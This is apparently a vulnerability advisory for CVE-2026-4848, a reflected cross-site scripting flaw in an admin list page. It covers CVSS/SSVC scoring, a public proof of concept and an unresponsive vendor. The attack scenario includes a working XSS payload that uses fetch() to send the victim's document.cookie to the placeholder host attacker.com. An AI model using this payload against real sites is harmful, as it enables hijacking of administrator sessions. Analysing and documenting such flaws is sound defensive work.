Muucmf CVE-2026-4848

The CVSS v4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P) indicates a network-exploitable vulnerability with low attack complexity, no prerequisites, and requiring user interaction-a typical XSS profile. The severity rating of 5.3 is moderate and reflects limited integrity impact (VI:L) with no confidentiality, availability, or system impact. However, real-world risk is elevated by the presence of a publicly disclosed proof-of-concept exploit (E:P) and vendor non-responsiveness, increasing the likelihood that active exploitation will occur. The administrative context (/admin path) suggests attackers must either compromise an admin account, trick an admin into clicking a malicious link, or leverage CSRF, somewhat constraining immediate blast radius. SSVC considerations favor patching: exploitation status is confirmed (POC public), and administrative XSS can lead to session hijacking, privilege escalation, or data exfiltration. This is a real priority despite moderate CVSS, as PoC availability and vendor abandonment create conditions for widespread exploitation.

An attacker crafts a malicious URL containing JavaScript payload in the Name parameter (e.g., /admin/extend/list.html?Name=<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">) and sends it to a logged-in administrator or embeds it in a phishing email. When the admin clicks the link while authenticated, the unencoded payload executes in their browser, stealing session cookies, credentials, or triggering actions on behalf of the admin account. The public PoC provides attackers with a ready-to-use template for exploitation.